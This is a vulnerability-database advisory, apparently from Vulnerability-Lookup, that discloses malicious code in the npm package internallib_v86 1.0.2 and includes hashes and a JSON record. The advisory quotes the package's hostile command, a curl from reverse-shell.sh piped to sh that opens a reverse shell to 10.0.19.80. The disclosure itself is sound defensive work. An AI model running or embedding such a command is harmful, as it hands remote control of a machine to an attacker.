Vulnerability-Lookup

mal-2026-17634

Vulnerability from ossf_malicious_packages

Published

2026-10-06 03:56

Modified

2026-10-06 03:56

Summary

Malicious code in internallib_v86 (npm)

Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07)

internallib_v86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior.

CWE

CWE-506 - The product contains code that appears to be malicious in nature.

Credits

Amazon Inspector inspector-research@amazon.com

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "index.js",
              "sha256": "b6d706ba158c1640e22adbcbcd85ff4b4947c9b9f6e45e31d3438a6b1df0a619",
              "tlsh": "b8c0c07786db023af74965e0de15f861b8478c703a3800b0b014405110c3c4d72170ff"
            }
          ],
          "package_integrity": [
            {
              "filename": "internallib_v86-1.0.2.tgz",
              "hashes": {
                "sha1": "9db935edac387698d5855a2196f1c8945322689e",
                "sha512_sri": "sha512-U4Yh3a45DPU1JZR3b4n3nEw7dimjdn9gBiEw5BGhAcenYKVBKilzCzU1RQ6nOmBN26W1vtcUx7aObpyHbjwzbw=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "internallib_v86"
      },
      "versions": [
        "1.0.2"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-021085",
        "import_time": "2026-10-06T04:22:56.06299981Z",
        "modified_time": "2026-10-06T03:56:38Z",
        "sha256": "9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07",
        "source": "amazon-inspector",
        "versions": [
          "1.0.2"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07)\ninternallib_v86 ships a tiny index.js that exports a function `command` which invokes `/bin/bash -c \"curl https://reverse-shell.sh/... | sh\"` targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer\u0027s host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior.\n",
  "id": "MAL-2026-17634",
  "modified": "2026-10-06T03:56:38Z",
  "published": "2026-10-06T03:56:38Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/internallib_v86/v/1.0.2"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in internallib_v86 (npm)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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